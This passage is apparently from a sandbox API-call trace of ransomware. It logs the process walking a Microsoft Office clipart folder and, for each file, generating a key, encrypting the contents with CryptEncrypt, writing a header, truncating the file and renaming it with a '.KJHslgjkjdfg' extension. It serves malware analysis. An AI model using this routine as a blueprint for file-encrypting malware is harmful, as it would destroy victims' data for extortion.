lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2135, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SWEST_01.MID", cAlternateFileName="")) returned 1 [0214.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.984] GetProcessHeap () returned 0x990000 [0214.985] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.985] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.985] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0215.060] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.060] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.060] GetProcessHeap () returned 0x990000 [0215.060] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0215.060] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0215.060] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.060] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0215.060] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0215.060] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0215.060] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0215.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0215.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0215.061] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.061] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.061] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2135, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2135, lpOverlapped=0x0) returned 1 [0215.083] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2140, dwBufLen=0x2140 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2140) returned 1 [0215.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.083] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2140, lpOverlapped=0x0) returned 1 [0215.083] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.084] SetEndOfFile (hFile=0x130) returned 1 [0215.088] GetProcessHeap () returned 0x990000 [0215.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0215.088] GetProcessHeap () returned 0x990000 [0215.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0215.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.kjhslgjkjdfg")) returned 1 [0215.090] CloseHandle (hObject=0x130) returned 1 [0215.090] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7065e700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7065e700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00110_.WMF", cAlternateFileName="")) returned 1 [0215.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.092] GetProcessHeap () returned 0x990000 [0215.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0215.092] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0215.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0215.092] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.092] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.093] GetProcessHeap () returned 0x990000 [0215.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0215.093] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0215.093] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.093] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0215.153] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0215.153] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0215.154] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0215.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0215.154] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0215.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.154] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.154] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f0, lpOverlapped=0x0) returned 1 [0215.154] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f0) returned 1 [0215.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.154] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f0, lpOverlapped=0x0) returned 1 [0215.154] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.154] SetEndOfFile (hFile=0x130) returned 1 [0215.157] GetProcessHeap () returned 0x990000 [0215.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0215.157] GetProcessHeap () returned 0x990000 [0215.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0215.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.kjhslgjkjdfg")) returned 1 [0215.159] CloseHandle (hObject=0x130) returned 1 [0215.159] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76ecf00, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb76ecf00, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0x1844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00127_.WMF", cAlternateFileName="")) returned 1 [0215.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.161] GetProcessHeap () returned 0x990000 [0215.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0215.161] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0215.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0215.161] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0215.187] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.187] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.187] GetProcessHeap () returned 0x990000 [0215.187] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0215.188] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0215.188] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.188] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0215.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0215.188] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0215.188] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0215.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0215.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0215.188] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.188] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.188] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1844, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1844, lpOverlapped=0x0) returned 1 [0215.266] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1850, dwBufLen=0x1850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1850) returned 1 [0215.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.267] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1850, lpOverlapped=0x0) returned 1 [0215.268] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.268] SetEndOfFile (hFile=0x130) returned 1 [0215.270] GetProcessHeap () returned 0x990000 [0215.271] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0215.271] GetProcessHeap () returned 0x990000 [0215.271] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0215.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.kjhslgjkjdfg")) returned 1 [0215.273] CloseHandle (hObject=0x130) returned 1 [0215.273] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1 [0215.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.275] GetProcessHeap () returned 0x990000 [0215.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0215.275] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0215.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0215.275] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0215.528] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.528] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.528] GetProcessHeap () returned 0x990000 [0215.528] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0215.528] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0215.528] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.528] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0215.528] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0215.529] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0215.529] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0215.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0215.529] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0215.529] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0215.529] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0215.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.529] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x81c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x81c, lpOverlapped=0x0) returned 1 [0215.529] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820, dwBufLen=0x820 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820) returned 1 [0215.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.529] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x820, lpOverlapped=0x0) returned 1 [0215.529] CryptDestroyKey (hKey=0x9b6628) returned 1 [0215.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.530] SetEndOfFile (hFile=0x130) returned 1 [0215.532] GetProcessHeap () returned 0x990000 [0215.532] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0215.532] GetProcessHeap () returned 0x990000 [0215.532] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0215.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.kjhslgjkjdfg")) returned 1 [0215.534] CloseHandle (hObject=0x130) returned 1 [0215.535] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1 [0215.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.843] GetProcessHeap () returned 0x990000 [0216.843] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0216.843] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0216.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0216.844] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.114] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.114] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.114] GetProcessHeap () returned 0x990000 